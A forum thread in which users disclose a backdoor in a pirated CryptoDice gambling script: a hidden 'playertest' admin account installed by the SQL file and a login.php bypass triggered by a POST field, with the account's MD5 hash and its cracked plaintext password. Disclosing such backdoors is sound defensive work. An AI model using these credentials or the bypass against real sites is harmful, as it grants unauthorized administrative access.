I am also in the process of looking through this script, I agree Downloaders beward of anything and everything... I personally do not install any code that I have not read through myself, As I said on another thread though, I am pretty paranoid regarding security matters.
I will post my findings soon.
Backdoor Found
CoinDice.sql installs a table named "ga_players" with actually an admin account named "playertest" on install, you will see why this is an admin account on the next part.
When I found this I looked at the admin login script (https://github.com/felinegambler/CryptoDice/blob/master/admin/login.php)
Surprise Surprise
if $_POST variable has any data for "ga_playertest" it allows a login from the "ga_players" table instead of the admin table which in this case hold our fake admin "playertest" - (1, 'playertest', '6d2aff483952d904179ca0c8c536a2c7', '');
Everybody should remove this ASAP. You don't know what else could be hidden in here.
I am unsure what MD5 password this ("6d2aff483952d904179ca0c8c536a2c7" ) hash is, maybe someone with more experience in cracking password would know.
cloverme, I am assuming you have the original game? What line is meant to be in login.php?

i cracked the md5 hash:
6d2aff483952d904179ca0c8c536a2c7:playertest1
I advice anybody to USE THE ORIGINAL version from johny1976 because the posted scripts have many backdoors and they are pirated copies with NO licence...
( so what should I do?
